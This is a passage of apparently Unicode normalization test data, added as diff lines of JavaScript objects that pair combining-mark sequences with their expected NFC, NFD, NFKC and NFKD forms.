+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20E7, 0x0062], NFC: [0x00E0, 0x05AE, 0x20E7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20E7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20E7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20E7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20E7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20E7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20E7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20E7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20E7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x20E8, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x20E8, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x20E8, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x20E8, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x20E8, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20E8, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x20E8, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x20E8, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x20E8, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x20E8, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20E9, 0x0062], NFC: [0x00E0, 0x05AE, 0x20E9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20E9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20E9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20E9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20E9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20E9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20E9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20E9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20E9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x20EA, 0x0062], NFC: [0x0061, 0x0334, 0x20EA, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x20EA, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x20EA, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x20EA, 0x093C, 0x0062] },
+{ source: [0x0061, 0x20EA, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x20EA, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x20EA, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x20EA, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x20EA, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x20EB, 0x0062], NFC: [0x0061, 0x0334, 0x20EB, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x20EB, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x20EB, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x20EB, 0x093C, 0x0062] },
+{ source: [0x0061, 0x20EB, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x20EB, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x20EB, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x20EB, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x20EB, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x20EC, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x20EC, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x20EC, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x20EC, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x20EC, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20EC, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x20EC, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x20EC, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x20EC, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x20EC, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x20ED, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x20ED, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x20ED, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x20ED, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x20ED, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20ED, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x20ED, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x20ED, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x20ED, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x20ED, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x20EE, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x20EE, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x20EE, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x20EE, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x20EE, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20EE, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x20EE, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x20EE, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x20EE, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x20EE, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x20EF, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x20EF, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x20EF, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x20EF, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x20EF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20EF, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x20EF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x20EF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x20EF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x20EF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20F0, 0x0062], NFC: [0x00E0, 0x05AE, 0x20F0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20F0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20F0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20F0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20F0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20F0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20F0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20F0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20F0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2CEF, 0x0062], NFC: [0x00E0, 0x05AE, 0x2CEF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2CEF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2CEF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2CEF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2CEF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2CEF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2CEF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2CEF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2CEF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2CF0, 0x0062], NFC: [0x00E0, 0x05AE, 0x2CF0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2CF0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2CF0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2CF0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2CF0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2CF0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2CF0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2CF0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2CF0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2CF1, 0x0062], NFC: [0x00E0, 0x05AE, 0x2CF1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2CF1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2CF1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2CF1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2CF1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2CF1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2CF1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2CF1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2CF1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x2D7F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x2D7F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x2D7F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x2D7F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x2D7F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x2D7F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x2D7F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x2D7F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x2D7F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x2D7F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE0, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE1, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE2, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE3, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE4, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE5, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE6, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE7, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE8, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE9, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEA, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEB, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEC, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DED, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DED, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DED, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DED, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DED, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DED, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DED, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DED, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DED, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DED, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEE, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEF, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF0, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF1, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF2, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF3, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF4, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF4, 0x0300, 0x0315, 0x0062] },
